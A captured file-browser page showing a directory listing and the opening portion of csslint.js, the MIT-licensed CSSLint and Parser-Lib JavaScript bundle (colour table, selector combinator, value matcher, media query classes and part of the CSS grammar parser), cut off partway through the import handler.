run:R W Run
15.53 KB
2017-09-13 06:08:47
R W Run
578.77 KB
2017-09-13 06:08:47
R W Run
365.25 KB
2019-10-25 16:38:07
R W Run
283.59 KB
2018-01-23 01:29:32
R W Run
8.05 KB
2018-01-23 01:29:32
R W Run
8.04 KB
2017-09-13 06:08:47
R W Run
24.4 KB
2017-09-13 06:08:47
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
22.89 KB
2017-09-13 06:08:47
R W Run
error_log
📄csslint.js
1/*!
2CSSLint v1.0.4
3Copyright (c) 2016 Nicole Sullivan and Nicholas C. Zakas. All rights reserved.
4
5Permission is hereby granted, free of charge, to any person obtaining a copy
6of this software and associated documentation files (the 'Software'), to deal
7in the Software without restriction, including without limitation the rights
8to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9copies of the Software, and to permit persons to whom the Software is
10furnished to do so, subject to the following conditions:
11
12The above copyright notice and this permission notice shall be included in
13all copies or substantial portions of the Software.
14
15THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21THE SOFTWARE.
22
23*/
24
25var CSSLint = (function(){
26 var module = module || {},
27 exports = exports || {};
28
29/*!
30Parser-Lib
31Copyright (c) 2009-2016 Nicholas C. Zakas. All rights reserved.
32
33Permission is hereby granted, free of charge, to any person obtaining a copy
34of this software and associated documentation files (the "Software"), to deal
35in the Software without restriction, including without limitation the rights
36to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
37copies of the Software, and to permit persons to whom the Software is
38furnished to do so, subject to the following conditions:
39
40The above copyright notice and this permission notice shall be included in
41all copies or substantial portions of the Software.
42
43THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
44IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
45FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
46AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
47LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
48OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
49THE SOFTWARE.
50*/
51/* Version v1.1.0, Build time: 6-December-2016 10:31:29 */
52var parserlib = (function () {
53var require;
54require=(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
55"use strict";
56
57/* exported Colors */
58
59var Colors = module.exports = {
60 __proto__ :null,
61 aliceblue :"#f0f8ff",
62 antiquewhite :"#faebd7",
63 aqua :"#00ffff",
64 aquamarine :"#7fffd4",
65 azure :"#f0ffff",
66 beige :"#f5f5dc",
67 bisque :"#ffe4c4",
68 black :"#000000",
69 blanchedalmond :"#ffebcd",
70 blue :"#0000ff",
71 blueviolet :"#8a2be2",
72 brown :"#a52a2a",
73 burlywood :"#deb887",
74 cadetblue :"#5f9ea0",
75 chartreuse :"#7fff00",
76 chocolate :"#d2691e",
77 coral :"#ff7f50",
78 cornflowerblue :"#6495ed",
79 cornsilk :"#fff8dc",
80 crimson :"#dc143c",
81 cyan :"#00ffff",
82 darkblue :"#00008b",
83 darkcyan :"#008b8b",
84 darkgoldenrod :"#b8860b",
85 darkgray :"#a9a9a9",
86 darkgrey :"#a9a9a9",
87 darkgreen :"#006400",
88 darkkhaki :"#bdb76b",
89 darkmagenta :"#8b008b",
90 darkolivegreen :"#556b2f",
91 darkorange :"#ff8c00",
92 darkorchid :"#9932cc",
93 darkred :"#8b0000",
94 darksalmon :"#e9967a",
95 darkseagreen :"#8fbc8f",
96 darkslateblue :"#483d8b",
97 darkslategray :"#2f4f4f",
98 darkslategrey :"#2f4f4f",
99 darkturquoise :"#00ced1",
100 darkviolet :"#9400d3",
101 deeppink :"#ff1493",
102 deepskyblue :"#00bfff",
103 dimgray :"#696969",
104 dimgrey :"#696969",
105 dodgerblue :"#1e90ff",
106 firebrick :"#b22222",
107 floralwhite :"#fffaf0",
108 forestgreen :"#228b22",
109 fuchsia :"#ff00ff",
110 gainsboro :"#dcdcdc",
111 ghostwhite :"#f8f8ff",
112 gold :"#ffd700",
113 goldenrod :"#daa520",
114 gray :"#808080",
115 grey :"#808080",
116 green :"#008000",
117 greenyellow :"#adff2f",
118 honeydew :"#f0fff0",
119 hotpink :"#ff69b4",
120 indianred :"#cd5c5c",
121 indigo :"#4b0082",
122 ivory :"#fffff0",
123 khaki :"#f0e68c",
124 lavender :"#e6e6fa",
125 lavenderblush :"#fff0f5",
126 lawngreen :"#7cfc00",
127 lemonchiffon :"#fffacd",
128 lightblue :"#add8e6",
129 lightcoral :"#f08080",
130 lightcyan :"#e0ffff",
131 lightgoldenrodyellow :"#fafad2",
132 lightgray :"#d3d3d3",
133 lightgrey :"#d3d3d3",
134 lightgreen :"#90ee90",
135 lightpink :"#ffb6c1",
136 lightsalmon :"#ffa07a",
137 lightseagreen :"#20b2aa",
138 lightskyblue :"#87cefa",
139 lightslategray :"#778899",
140 lightslategrey :"#778899",
141 lightsteelblue :"#b0c4de",
142 lightyellow :"#ffffe0",
143 lime :"#00ff00",
144 limegreen :"#32cd32",
145 linen :"#faf0e6",
146 magenta :"#ff00ff",
147 maroon :"#800000",
148 mediumaquamarine:"#66cdaa",
149 mediumblue :"#0000cd",
150 mediumorchid :"#ba55d3",
151 mediumpurple :"#9370d8",
152 mediumseagreen :"#3cb371",
153 mediumslateblue :"#7b68ee",
154 mediumspringgreen :"#00fa9a",
155 mediumturquoise :"#48d1cc",
156 mediumvioletred :"#c71585",
157 midnightblue :"#191970",
158 mintcream :"#f5fffa",
159 mistyrose :"#ffe4e1",
160 moccasin :"#ffe4b5",
161 navajowhite :"#ffdead",
162 navy :"#000080",
163 oldlace :"#fdf5e6",
164 olive :"#808000",
165 olivedrab :"#6b8e23",
166 orange :"#ffa500",
167 orangered :"#ff4500",
168 orchid :"#da70d6",
169 palegoldenrod :"#eee8aa",
170 palegreen :"#98fb98",
171 paleturquoise :"#afeeee",
172 palevioletred :"#d87093",
173 papayawhip :"#ffefd5",
174 peachpuff :"#ffdab9",
175 peru :"#cd853f",
176 pink :"#ffc0cb",
177 plum :"#dda0dd",
178 powderblue :"#b0e0e6",
179 purple :"#800080",
180 red :"#ff0000",
181 rosybrown :"#bc8f8f",
182 royalblue :"#4169e1",
183 saddlebrown :"#8b4513",
184 salmon :"#fa8072",
185 sandybrown :"#f4a460",
186 seagreen :"#2e8b57",
187 seashell :"#fff5ee",
188 sienna :"#a0522d",
189 silver :"#c0c0c0",
190 skyblue :"#87ceeb",
191 slateblue :"#6a5acd",
192 slategray :"#708090",
193 slategrey :"#708090",
194 snow :"#fffafa",
195 springgreen :"#00ff7f",
196 steelblue :"#4682b4",
197 tan :"#d2b48c",
198 teal :"#008080",
199 thistle :"#d8bfd8",
200 tomato :"#ff6347",
201 turquoise :"#40e0d0",
202 violet :"#ee82ee",
203 wheat :"#f5deb3",
204 white :"#ffffff",
205 whitesmoke :"#f5f5f5",
206 yellow :"#ffff00",
207 yellowgreen :"#9acd32",
208 //'currentColor' color keyword https://www.w3.org/TR/css3-color/#currentcolor
209 currentColor :"The value of the 'color' property.",
210 //CSS2 system colors https://www.w3.org/TR/css3-color/#css2-system
211 activeBorder :"Active window border.",
212 activecaption :"Active window caption.",
213 appworkspace :"Background color of multiple document interface.",
214 background :"Desktop background.",
215 buttonface :"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.",
216 buttonhighlight :"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
217 buttonshadow :"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
218 buttontext :"Text on push buttons.",
219 captiontext :"Text in caption, size box, and scrollbar arrow box.",
220 graytext :"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.",
221 greytext :"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.",
222 highlight :"Item(s) selected in a control.",
223 highlighttext :"Text of item(s) selected in a control.",
224 inactiveborder :"Inactive window border.",
225 inactivecaption :"Inactive window caption.",
226 inactivecaptiontext :"Color of text in an inactive caption.",
227 infobackground :"Background color for tooltip controls.",
228 infotext :"Text color for tooltip controls.",
229 menu :"Menu background.",
230 menutext :"Text in menus.",
231 scrollbar :"Scroll bar gray area.",
232 threeddarkshadow :"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
233 threedface :"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
234 threedhighlight :"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
235 threedlightshadow :"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
236 threedshadow :"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
237 window :"Window background.",
238 windowframe :"Window frame.",
239 windowtext :"Text in windows."
240};
241
242},{}],2:[function(require,module,exports){
243"use strict";
244
245module.exports = Combinator;
246
247var SyntaxUnit = require("../util/SyntaxUnit");
248
249var Parser = require("./Parser");
250
251/**
252 * Represents a selector combinator (whitespace, +, >).
253 * @namespace parserlib.css
254 * @class Combinator
255 * @extends parserlib.util.SyntaxUnit
256 * @constructor
257 * @param {String} text The text representation of the unit.
258 * @param {int} line The line of text on which the unit resides.
259 * @param {int} col The column of text on which the unit resides.
260 */
261function Combinator(text, line, col) {
262
263 SyntaxUnit.call(this, text, line, col, Parser.COMBINATOR_TYPE);
264
265 /**
266 * The type of modifier.
267 * @type String
268 * @property type
269 */
270 this.type = "unknown";
271
272 //pretty simple
273 if (/^\s+$/.test(text)) {
274 this.type = "descendant";
275 } else if (text === ">") {
276 this.type = "child";
277 } else if (text === "+") {
278 this.type = "adjacent-sibling";
279 } else if (text === "~") {
280 this.type = "sibling";
281 }
282
283}
284
285Combinator.prototype = new SyntaxUnit();
286Combinator.prototype.constructor = Combinator;
287
288
289},{"../util/SyntaxUnit":26,"./Parser":6}],3:[function(require,module,exports){
290"use strict";
291
292module.exports = Matcher;
293
294var StringReader = require("../util/StringReader");
295var SyntaxError = require("../util/SyntaxError");
296
297/**
298 * This class implements a combinator library for matcher functions.
299 * The combinators are described at:
300 * https://developer.mozilla.org/en-US/docs/Web/CSS/Value_definition_syntax#Component_value_combinators
301 */
302function Matcher(matchFunc, toString) {
303 this.match = function(expression) {
304 // Save/restore marks to ensure that failed matches always restore
305 // the original location in the expression.
306 var result;
307 expression.mark();
308 result = matchFunc(expression);
309 if (result) {
310 expression.drop();
311 } else {
312 expression.restore();
313 }
314 return result;
315 };
316 this.toString = typeof toString === "function" ? toString : function() {
317 return toString;
318 };
319}
320
321/** Precedence table of combinators. */
322Matcher.prec = {
323 MOD: 5,
324 SEQ: 4,
325 ANDAND: 3,
326 OROR: 2,
327 ALT: 1
328};
329
330/** Simple recursive-descent grammar to build matchers from strings. */
331Matcher.parse = function(str) {
332 var reader, eat, expr, oror, andand, seq, mod, term, result;
333 reader = new StringReader(str);
334 eat = function(matcher) {
335 var result = reader.readMatch(matcher);
336 if (result === null) {
337 throw new SyntaxError(
338 "Expected "+matcher, reader.getLine(), reader.getCol());
339 }
340 return result;
341 };
342 expr = function() {
343 // expr = oror (" | " oror)*
344 var m = [ oror() ];
345 while (reader.readMatch(" | ") !== null) {
346 m.push(oror());
347 }
348 return m.length === 1 ? m[0] : Matcher.alt.apply(Matcher, m);
349 };
350 oror = function() {
351 // oror = andand ( " || " andand)*
352 var m = [ andand() ];
353 while (reader.readMatch(" || ") !== null) {
354 m.push(andand());
355 }
356 return m.length === 1 ? m[0] : Matcher.oror.apply(Matcher, m);
357 };
358 andand = function() {
359 // andand = seq ( " && " seq)*
360 var m = [ seq() ];
361 while (reader.readMatch(" && ") !== null) {
362 m.push(seq());
363 }
364 return m.length === 1 ? m[0] : Matcher.andand.apply(Matcher, m);
365 };
366 seq = function() {
367 // seq = mod ( " " mod)*
368 var m = [ mod() ];
369 while (reader.readMatch(/^ (?![&|\]])/) !== null) {
370 m.push(mod());
371 }
372 return m.length === 1 ? m[0] : Matcher.seq.apply(Matcher, m);
373 };
374 mod = function() {
375 // mod = term ( "?" | "*" | "+" | "#" | "{<num>,<num>}" )?
376 var m = term();
377 if (reader.readMatch("?") !== null) {
378 return m.question();
379 } else if (reader.readMatch("*") !== null) {
380 return m.star();
381 } else if (reader.readMatch("+") !== null) {
382 return m.plus();
383 } else if (reader.readMatch("#") !== null) {
384 return m.hash();
385 } else if (reader.readMatch(/^\{\s*/) !== null) {
386 var min = eat(/^\d+/);
387 eat(/^\s*,\s*/);
388 var max = eat(/^\d+/);
389 eat(/^\s*\}/);
390 return m.braces(+min, +max);
391 }
392 return m;
393 };
394 term = function() {
395 // term = <nt> | literal | "[ " expression " ]"
396 if (reader.readMatch("[ ") !== null) {
397 var m = expr();
398 eat(" ]");
399 return m;
400 }
401 return Matcher.fromType(eat(/^[^ ?*+#{]+/));
402 };
403 result = expr();
404 if (!reader.eof()) {
405 throw new SyntaxError(
406 "Expected end of string", reader.getLine(), reader.getCol());
407 }
408 return result;
409};
410
411/**
412 * Convert a string to a matcher (parsing simple alternations),
413 * or do nothing if the argument is already a matcher.
414 */
415Matcher.cast = function(m) {
416 if (m instanceof Matcher) {
417 return m;
418 }
419 return Matcher.parse(m);
420};
421
422/**
423 * Create a matcher for a single type.
424 */
425Matcher.fromType = function(type) {
426 // Late require of ValidationTypes to break a dependency cycle.
427 var ValidationTypes = require("./ValidationTypes");
428 return new Matcher(function(expression) {
429 return expression.hasNext() && ValidationTypes.isType(expression, type);
430 }, type);
431};
432
433/**
434 * Create a matcher for one or more juxtaposed words, which all must
435 * occur, in the given order.
436 */
437Matcher.seq = function() {
438 var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
439 if (ms.length === 1) {
440 return ms[0];
441 }
442 return new Matcher(function(expression) {
443 var i, result = true;
444 for (i = 0; result && i < ms.length; i++) {
445 result = ms[i].match(expression);
446 }
447 return result;
448 }, function(prec) {
449 var p = Matcher.prec.SEQ;
450 var s = ms.map(function(m) {
451 return m.toString(p);
452 }).join(" ");
453 if (prec > p) {
454 s = "[ " + s + " ]";
455 }
456 return s;
457 });
458};
459
460/**
461 * Create a matcher for one or more alternatives, where exactly one
462 * must occur.
463 */
464Matcher.alt = function() {
465 var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
466 if (ms.length === 1) {
467 return ms[0];
468 }
469 return new Matcher(function(expression) {
470 var i, result = false;
471 for (i = 0; !result && i < ms.length; i++) {
472 result = ms[i].match(expression);
473 }
474 return result;
475 }, function(prec) {
476 var p = Matcher.prec.ALT;
477 var s = ms.map(function(m) {
478 return m.toString(p);
479 }).join(" | ");
480 if (prec > p) {
481 s = "[ " + s + " ]";
482 }
483 return s;
484 });
485};
486
487/**
488 * Create a matcher for two or more options. This implements the
489 * double bar (||) and double ampersand (&&) operators, as well as
490 * variants of && where some of the alternatives are optional.
491 * This will backtrack through even successful matches to try to
492 * maximize the number of items matched.
493 */
494Matcher.many = function(required) {
495 var ms = Array.prototype.slice.call(arguments, 1).reduce(function(acc, v) {
496 if (v.expand) {
497 // Insert all of the options for the given complex rule as
498 // individual options.
499 var ValidationTypes = require("./ValidationTypes");
500 acc.push.apply(acc, ValidationTypes.complex[v.expand].options);
501 } else {
502 acc.push(Matcher.cast(v));
503 }
504 return acc;
505 }, []);
506
507 if (required === true) {
508 required = ms.map(function() {
509 return true;
510 });
511 }
512
513 var result = new Matcher(function(expression) {
514 var seen = [], max = 0, pass = 0;
515 var success = function(matchCount) {
516 if (pass === 0) {
517 max = Math.max(matchCount, max);
518 return matchCount === ms.length;
519 } else {
520 return matchCount === max;
521 }
522 };
523 var tryMatch = function(matchCount) {
524 for (var i = 0; i < ms.length; i++) {
525 if (seen[i]) {
526 continue;
527 }
528 expression.mark();
529 if (ms[i].match(expression)) {
530 seen[i] = true;
531 // Increase matchCount iff this was a required element
532 // (or if all the elements are optional)
533 if (tryMatch(matchCount + ((required === false || required[i]) ? 1 : 0))) {
534 expression.drop();
535 return true;
536 }
537 // Backtrack: try *not* matching using this rule, and
538 // let's see if it leads to a better overall match.
539 expression.restore();
540 seen[i] = false;
541 } else {
542 expression.drop();
543 }
544 }
545 return success(matchCount);
546 };
547 if (!tryMatch(0)) {
548 // Couldn't get a complete match, retrace our steps to make the
549 // match with the maximum # of required elements.
550 pass++;
551 tryMatch(0);
552 }
553
554 if (required === false) {
555 return max > 0;
556 }
557 // Use finer-grained specification of which matchers are required.
558 for (var i = 0; i < ms.length; i++) {
559 if (required[i] && !seen[i]) {
560 return false;
561 }
562 }
563 return true;
564 }, function(prec) {
565 var p = required === false ? Matcher.prec.OROR : Matcher.prec.ANDAND;
566 var s = ms.map(function(m, i) {
567 if (required !== false && !required[i]) {
568 return m.toString(Matcher.prec.MOD) + "?";
569 }
570 return m.toString(p);
571 }).join(required === false ? " || " : " && ");
572 if (prec > p) {
573 s = "[ " + s + " ]";
574 }
575 return s;
576 });
577 result.options = ms;
578 return result;
579};
580
581/**
582 * Create a matcher for two or more options, where all options are
583 * mandatory but they may appear in any order.
584 */
585Matcher.andand = function() {
586 var args = Array.prototype.slice.call(arguments);
587 args.unshift(true);
588 return Matcher.many.apply(Matcher, args);
589};
590
591/**
592 * Create a matcher for two or more options, where options are
593 * optional and may appear in any order, but at least one must be
594 * present.
595 */
596Matcher.oror = function() {
597 var args = Array.prototype.slice.call(arguments);
598 args.unshift(false);
599 return Matcher.many.apply(Matcher, args);
600};
601
602/** Instance methods on Matchers. */
603Matcher.prototype = {
604 constructor: Matcher,
605 // These are expected to be overridden in every instance.
606 match: function() { throw new Error("unimplemented"); },
607 toString: function() { throw new Error("unimplemented"); },
608 // This returns a standalone function to do the matching.
609 func: function() { return this.match.bind(this); },
610 // Basic combinators
611 then: function(m) { return Matcher.seq(this, m); },
612 or: function(m) { return Matcher.alt(this, m); },
613 andand: function(m) { return Matcher.many(true, this, m); },
614 oror: function(m) { return Matcher.many(false, this, m); },
615 // Component value multipliers
616 star: function() { return this.braces(0, Infinity, "*"); },
617 plus: function() { return this.braces(1, Infinity, "+"); },
618 question: function() { return this.braces(0, 1, "?"); },
619 hash: function() {
620 return this.braces(1, Infinity, "#", Matcher.cast(","));
621 },
622 braces: function(min, max, marker, optSep) {
623 var m1 = this, m2 = optSep ? optSep.then(this) : this;
624 if (!marker) {
625 marker = "{" + min + "," + max + "}";
626 }
627 return new Matcher(function(expression) {
628 var result = true, i;
629 for (i = 0; i < max; i++) {
630 if (i > 0 && optSep) {
631 result = m2.match(expression);
632 } else {
633 result = m1.match(expression);
634 }
635 if (!result) {
636 break;
637 }
638 }
639 return i >= min;
640 }, function() {
641 return m1.toString(Matcher.prec.MOD) + marker;
642 });
643 }
644};
645
646},{"../util/StringReader":24,"../util/SyntaxError":25,"./ValidationTypes":21}],4:[function(require,module,exports){
647"use strict";
648
649module.exports = MediaFeature;
650
651var SyntaxUnit = require("../util/SyntaxUnit");
652
653var Parser = require("./Parser");
654
655/**
656 * Represents a media feature, such as max-width:500.
657 * @namespace parserlib.css
658 * @class MediaFeature
659 * @extends parserlib.util.SyntaxUnit
660 * @constructor
661 * @param {SyntaxUnit} name The name of the feature.
662 * @param {SyntaxUnit} value The value of the feature or null if none.
663 */
664function MediaFeature(name, value) {
665
666 SyntaxUnit.call(this, "(" + name + (value !== null ? ":" + value : "") + ")", name.startLine, name.startCol, Parser.MEDIA_FEATURE_TYPE);
667
668 /**
669 * The name of the media feature
670 * @type String
671 * @property name
672 */
673 this.name = name;
674
675 /**
676 * The value for the feature or null if there is none.
677 * @type SyntaxUnit
678 * @property value
679 */
680 this.value = value;
681}
682
683MediaFeature.prototype = new SyntaxUnit();
684MediaFeature.prototype.constructor = MediaFeature;
685
686
687},{"../util/SyntaxUnit":26,"./Parser":6}],5:[function(require,module,exports){
688"use strict";
689
690module.exports = MediaQuery;
691
692var SyntaxUnit = require("../util/SyntaxUnit");
693
694var Parser = require("./Parser");
695
696/**
697 * Represents an individual media query.
698 * @namespace parserlib.css
699 * @class MediaQuery
700 * @extends parserlib.util.SyntaxUnit
701 * @constructor
702 * @param {String} modifier The modifier "not" or "only" (or null).
703 * @param {String} mediaType The type of media (i.e., "print").
704 * @param {Array} parts Array of selectors parts making up this selector.
705 * @param {int} line The line of text on which the unit resides.
706 * @param {int} col The column of text on which the unit resides.
707 */
708function MediaQuery(modifier, mediaType, features, line, col) {
709
710 SyntaxUnit.call(this, (modifier ? modifier + " ": "") + (mediaType ? mediaType : "") + (mediaType && features.length > 0 ? " and " : "") + features.join(" and "), line, col, Parser.MEDIA_QUERY_TYPE);
711
712 /**
713 * The media modifier ("not" or "only")
714 * @type String
715 * @property modifier
716 */
717 this.modifier = modifier;
718
719 /**
720 * The mediaType (i.e., "print")
721 * @type String
722 * @property mediaType
723 */
724 this.mediaType = mediaType;
725
726 /**
727 * The parts that make up the selector.
728 * @type Array
729 * @property features
730 */
731 this.features = features;
732
733}
734
735MediaQuery.prototype = new SyntaxUnit();
736MediaQuery.prototype.constructor = MediaQuery;
737
738
739},{"../util/SyntaxUnit":26,"./Parser":6}],6:[function(require,module,exports){
740"use strict";
741
742module.exports = Parser;
743
744var EventTarget = require("../util/EventTarget");
745var SyntaxError = require("../util/SyntaxError");
746var SyntaxUnit = require("../util/SyntaxUnit");
747
748var Combinator = require("./Combinator");
749var MediaFeature = require("./MediaFeature");
750var MediaQuery = require("./MediaQuery");
751var PropertyName = require("./PropertyName");
752var PropertyValue = require("./PropertyValue");
753var PropertyValuePart = require("./PropertyValuePart");
754var Selector = require("./Selector");
755var SelectorPart = require("./SelectorPart");
756var SelectorSubPart = require("./SelectorSubPart");
757var TokenStream = require("./TokenStream");
758var Tokens = require("./Tokens");
759var Validation = require("./Validation");
760
761/**
762 * A CSS3 parser.
763 * @namespace parserlib.css
764 * @class Parser
765 * @constructor
766 * @param {Object} options (Optional) Various options for the parser:
767 * starHack (true|false) to allow IE6 star hack as valid,
768 * underscoreHack (true|false) to interpret leading underscores
769 * as IE6-7 targeting for known properties, ieFilters (true|false)
770 * to indicate that IE < 8 filters should be accepted and not throw
771 * syntax errors.
772 */
773function Parser(options) {
774
775 //inherit event functionality
776 EventTarget.call(this);
777
778
779 this.options = options || {};
780
781 this._tokenStream = null;
782}
783
784//Static constants
785Parser.DEFAULT_TYPE = 0;
786Parser.COMBINATOR_TYPE = 1;
787Parser.MEDIA_FEATURE_TYPE = 2;
788Parser.MEDIA_QUERY_TYPE = 3;
789Parser.PROPERTY_NAME_TYPE = 4;
790Parser.PROPERTY_VALUE_TYPE = 5;
791Parser.PROPERTY_VALUE_PART_TYPE = 6;
792Parser.SELECTOR_TYPE = 7;
793Parser.SELECTOR_PART_TYPE = 8;
794Parser.SELECTOR_SUB_PART_TYPE = 9;
795
796Parser.prototype = function() {
797
798 var proto = new EventTarget(), //new prototype
799 prop,
800 additions = {
801 __proto__: null,
802
803 //restore constructor
804 constructor: Parser,
805
806 //instance constants - yuck
807 DEFAULT_TYPE : 0,
808 COMBINATOR_TYPE : 1,
809 MEDIA_FEATURE_TYPE : 2,
810 MEDIA_QUERY_TYPE : 3,
811 PROPERTY_NAME_TYPE : 4,
812 PROPERTY_VALUE_TYPE : 5,
813 PROPERTY_VALUE_PART_TYPE : 6,
814 SELECTOR_TYPE : 7,
815 SELECTOR_PART_TYPE : 8,
816 SELECTOR_SUB_PART_TYPE : 9,
817
818 //-----------------------------------------------------------------
819 // Grammar
820 //-----------------------------------------------------------------
821
822 _stylesheet: function() {
823
824 /*
825 * stylesheet
826 * : [ CHARSET_SYM S* STRING S* ';' ]?
827 * [S|CDO|CDC]* [ import [S|CDO|CDC]* ]*
828 * [ namespace [S|CDO|CDC]* ]*
829 * [ [ ruleset | media | page | font_face | keyframes_rule | supports_rule ] [S|CDO|CDC]* ]*
830 * ;
831 */
832
833 var tokenStream = this._tokenStream,
834 count,
835 token,
836 tt;
837
838 this.fire("startstylesheet");
839
840 //try to read character set
841 this._charset();
842
843 this._skipCruft();
844
845 //try to read imports - may be more than one
846 while (tokenStream.peek() === Tokens.IMPORT_SYM) {
847 this._import();
848 this._skipCruft();
849 }
850
851 //try to read namespaces - may be more than one
852 while (tokenStream.peek() === Tokens.NAMESPACE_SYM) {
853 this._namespace();
854 this._skipCruft();
855 }
856
857 //get the next token
858 tt = tokenStream.peek();
859
860 //try to read the rest
861 while (tt > Tokens.EOF) {
862
863 try {
864
865 switch (tt) {
866 case Tokens.MEDIA_SYM:
867 this._media();
868 this._skipCruft();
869 break;
870 case Tokens.PAGE_SYM:
871 this._page();
872 this._skipCruft();
873 break;
874 case Tokens.FONT_FACE_SYM:
875 this._font_face();
876 this._skipCruft();
877 break;
878 case Tokens.KEYFRAMES_SYM:
879 this._keyframes();
880 this._skipCruft();
881 break;
882 case Tokens.VIEWPORT_SYM:
883 this._viewport();
884 this._skipCruft();
885 break;
886 case Tokens.DOCUMENT_SYM:
887 this._document();
888 this._skipCruft();
889 break;
890 case Tokens.SUPPORTS_SYM:
891 this._supports();
892 this._skipCruft();
893 break;
894 case Tokens.UNKNOWN_SYM: //unknown @ rule
895 tokenStream.get();
896 if (!this.options.strict) {
897
898 //fire error event
899 this.fire({
900 type: "error",
901 error: null,
902 message: "Unknown @ rule: " + tokenStream.LT(0).value + ".",
903 line: tokenStream.LT(0).startLine,
904 col: tokenStream.LT(0).startCol
905 });
906
907 //skip braces
908 count=0;
909 while (tokenStream.advance([Tokens.LBRACE, Tokens.RBRACE]) === Tokens.LBRACE) {
910 count++; //keep track of nesting depth
911 }
912
913 while (count) {
914 tokenStream.advance([Tokens.RBRACE]);
915 count--;
916 }
917
918 } else {
919 //not a syntax error, rethrow it
920 throw new SyntaxError("Unknown @ rule.", tokenStream.LT(0).startLine, tokenStream.LT(0).startCol);
921 }
922 break;
923 case Tokens.S:
924 this._readWhitespace();
925 break;
926 default:
927 if (!this._ruleset()) {
928
929 //error handling for known issues
930 switch (tt) {
931 case Tokens.CHARSET_SYM:
932 token = tokenStream.LT(1);
933 this._charset(false);
934 throw new SyntaxError("@charset not allowed here.", token.startLine, token.startCol);
935 case Tokens.IMPORT_SYM:
936 token = tokenStream.LT(1);
937 this._import(false);
938 throw new SyntaxError("@import not allowed here.", token.startLine, token.startCol);
939 case Tokens.NAMESPACE_SYM:
940 token = tokenStream.LT(1);
941 this._namespace(false);
942 throw new SyntaxError("@namespace not allowed here.", token.startLine, token.startCol);
943 default:
944 tokenStream.get(); //get the last token
945 this._unexpectedToken(tokenStream.token());
946 }
947
948 }
949 }
950 } catch (ex) {
951 if (ex instanceof SyntaxError && !this.options.strict) {
952 this.fire({
953 type: "error",
954 error: ex,
955 message: ex.message,
956 line: ex.line,
957 col: ex.col
958 });
959 } else {
960 throw ex;
961 }
962 }
963
964 tt = tokenStream.peek();
965 }
966
967 if (tt !== Tokens.EOF) {
968 this._unexpectedToken(tokenStream.token());
969 }
970
971 this.fire("endstylesheet");
972 },
973
974 _charset: function(emit) {
975 var tokenStream = this._tokenStream,
976 charset,
977 token,
978 line,
979 col;
980
981 if (tokenStream.match(Tokens.CHARSET_SYM)) {
982 line = tokenStream.token().startLine;
983 col = tokenStream.token().startCol;
984
985 this._readWhitespace();
986 tokenStream.mustMatch(Tokens.STRING);
987
988 token = tokenStream.token();
989 charset = token.value;
990
991 this._readWhitespace();
992 tokenStream.mustMatch(Tokens.SEMICOLON);
993
994 if (emit !== false) {
995 this.fire({
996 type: "charset",
997 charset:charset,
998 line: line,
999 col: col
1000 });
1001 }
1002 }
1003 },
1004
1005 _import: function(emit) {
1006 /*
1007 * import
1008 * : IMPORT_SYM S*
1009 * [STRING|URI] S* media_query_list? ';' S*
1010 */
1011
1012 var tokenStream = this._tokenStream,
1013 uri,
1014 importToken,
1015 mediaList = [];
1016
1017 //read import symbol
1018 tokenStream.mustMatch(Tokens.IMPORT_SYM);
1019 importToken = tokenStream.token();
1020 this._readWhitespace();
1021
1022 tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
1023
1024 //grab the URI value
1025 uri = tokenStream.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/, "$1");
1026
1027 this._readWhitespace();
1028
1029 mediaList = this._media_query_list();
1030
1031 //must end with a semicolon
1032 tokenStream.mustMatch(Tokens.SEMICOLON);
1033 this._readWhitespace();
1034
1035 if (emit !== false) {
1036 this.fire({
1037 type: "import",
1038 uri: uri,
1039 media: mediaList,
1040 line: importToken.startLine,
